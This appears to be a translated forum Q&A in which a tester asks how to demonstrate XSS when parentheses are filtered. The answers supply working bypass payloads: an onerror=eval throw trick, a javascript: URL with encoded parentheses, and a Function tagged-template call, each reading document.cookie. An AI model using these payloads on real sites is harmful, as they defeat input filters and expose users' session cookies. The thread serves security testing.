JS 中的括号替代方案,如果有的话?

问题描述 投票:0回答:3

我在客户端应用程序中发现了跨站脚本漏洞。问题是易受攻击的参数不接受括号。所以像

alert(document.cookie)
这样的东西会因为括号而被拒绝。我可以使用
alert `xss`
获取 XSS,但我的客户需要能够访问 DOM 的证明。

换句话说,我怎样才能

alert(document.cookie)
不带括号,还有其他选择吗?

谢谢!

javascript xss
3个回答
6
投票

document.body.innerHTML=document.cookie
将在页面本身上显示 cookie。

说到 XSS 漏洞:是的,它很容易受到攻击,禁用括号只会迫使攻击者使用更有创意的方法。让某人执行任何任意代码都是一种责任。

这是一个简单的示例,说明如何使用任何参数调用任何函数,而无需在输入中使用任何括号:

<p>Malicious input: window.onerror=eval;throw '=1;alert\u0028document.location\u0029'</p>

<input type="button" onclick="window.onerror=eval;throw '=1;alert\u0028document.location\u0029'" value="Click me">


0
投票

这是另一个对我有用的解决方案:

<script>
var firstname = 'aa';document.location='javascript:alert%28document.cookie%29';//';
</script>

有效负载将是:

?vulnparam=aa';document.location='javascript:alert%2528document.cookie%2529';//

@tcooc 答案也有效。


0
投票

这也可以在不使用=的情况下工作

<script>Function`X${alert`${document.cookie}`}```</script>
© www.soinside.com 2019 - 2024. All rights reserved.